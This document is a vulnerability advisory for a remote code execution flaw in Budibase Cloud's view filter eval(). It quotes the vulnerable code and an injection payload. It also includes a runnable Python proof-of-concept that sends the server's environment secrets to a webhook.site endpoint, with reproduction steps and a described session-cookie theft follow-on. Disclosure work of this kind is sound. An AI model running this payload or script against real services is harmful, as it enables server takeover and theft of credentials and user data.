CVE-2026-27702: Budibase Vulnerable to Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)

Summary

A critical unsafe eval() vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in packages/server/src/db/inMemoryView.ts where user-controlled view map functions are directly evaluated without sanitization.

The primary impact comes from what lives inside the pod's environment: the app-service pod runs with secrets baked into its environment variables, including INTERNALAPIKEY, JWTSECRET, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.

Details

Root Cause

File: packages/server/src/db/inMemoryView.ts:28

javascript export async function runView( view: DBView, calculation: string, group: boolean, data: Row[] ) { // ... let fn = (doc: Document, emit: any) => emit(doc.id) // BUDI-7060 -> indirect eval call appears to cause issues in cloud eval("fn = " + view?.map?.replace("function (doc)", "function (doc, emit)")) // UNSAFE EVAL // ... }

Why Only Cloud is Vulnerable:

File: packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221

typescript if (env.SELFHOSTED) { // Self-hosted: Uses native CouchDB design documents - NO EVAL response = await db.query(database/${viewName}, { includedocs: !calculation, group: !!group, }) } else { // Cloud: Uses in-memory PouchDB with UNSAFE EVAL const tableId = viewInfo.meta!.tableId const data = await fetchRaw(tableId!) response = await inMemoryViews.runView( // <- Calls vulnerable function viewInfo, calculation as string, !!group, data ) }

The view.map parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating "fn = " with the user-controlled map function and passes it to eval(), allowing arbitrary JavaScript execution in the Node.js server context.

Self-hosted deployments are not affected because they use native CouchDB design documents instead of the in-memory eval() path.

Attack Flow

1. Authenticated user creates a table view with custom filter 2. Frontend sends POST request to /api/views with malicious payload in filter value 3. Backend stores view configuration in CouchDB 4. When view is queried (GET /api/views/{viewName}), runView() is called 5. Malicious code is eval()'d on server - RCE achieved

Exploitation Vector

The vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:

Malicious filter value: javascript x" || (MALICIOUSCODEHERE, true) || "

This payload: - Closes the expected string context with x" - Uses || (OR operator) to inject arbitrary code - Returns true to make the filter always match - Closes with || "" to maintain valid syntax

Verified on Production

Tested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed: - Achieved RCE on app-service pod (hostname: app-service-5f4f6d796d-p6dhz, Kubernetes, eu-west-1) - Extracted process.env - confirmed presence of platform secrets (JWTSECRET, INTERNALAPIKEY, COUCHDBURL, MINIOACCESSKEY, etc.) - Used extracted COUCHDBURL credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact - Queried users table to confirm data is readable (retrieved email addresses) - Uploaded an HTML file as a PoC artifact to confirm write access.

Proof of Concept

PoC Script

python import requests, time from urllib.parse import urlparse

Config | CHANGE THESE URL = "https://[YOUR-TENANT].budibase.app" WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]" JWT = "[YOUR-JWT-TOKEN]" # budibase:auth cookie value APPID = "appdev[TENANT][APP-UUID]" # x-budibase-app-id header TABLEID = "[YOUR-TABLE-ID]" # any table ID (e.g. tausers)

Payload - parses hostname/path from WEBHOOK automatically webhookparsed = urlparse(WEBHOOK) view = f"RCE{int(time.time())}" payload = f'''x" || (require('https').request({{hostname:'{webhookparsed.hostname}',path:'{webhookparsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''

Exploit s = requests.Session() s.cookies.set('budibase:auth', JWT) s.headers.update({"x-budibase-app-id": APPID, "Content-Type": "application/json"})

print(f"[] Creating view...") s.post(f"{URL}/api/views", json={"tableId": TABLEID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})

print(f"[] Triggering RCE...") s.get(f"{URL}/api/views/{view}")

print(f"[+] Done! Check: {WEBHOOK}")

Video Demo https://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99

Reproduction Steps

1. Prerequisites: - Create free Budibase Cloud account at https://budibase.app - Create a new app - Create a table with at least one text field

2. Exploitation: - Copy the PoC script above - Replace placeholders with your tenant URL, app ID, table ID - Get your JWT token from browser cookies (budibase:auth) - Create a webhook at https://webhook.site for exfiltration - Run the script: python3 budibasercepoc.py

3. Verification: - Check webhook.site - you'll receive all server environment variables - Extracted data includes JWTSECRET, INTERNALAPIKEY, database credentials

Additional Note

The budibase:auth session cookie has Domain=.budibase.app (leading dot = all subdomains) and no HttpOnly flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).

Responsible Disclosure Statement

This vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:

- No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable - The PoC HTML file uploaded to confirm write access is benign - This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place - Before any public disclosure, this report must be redacted/simplified - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase's remediation purposes must be removed or redacted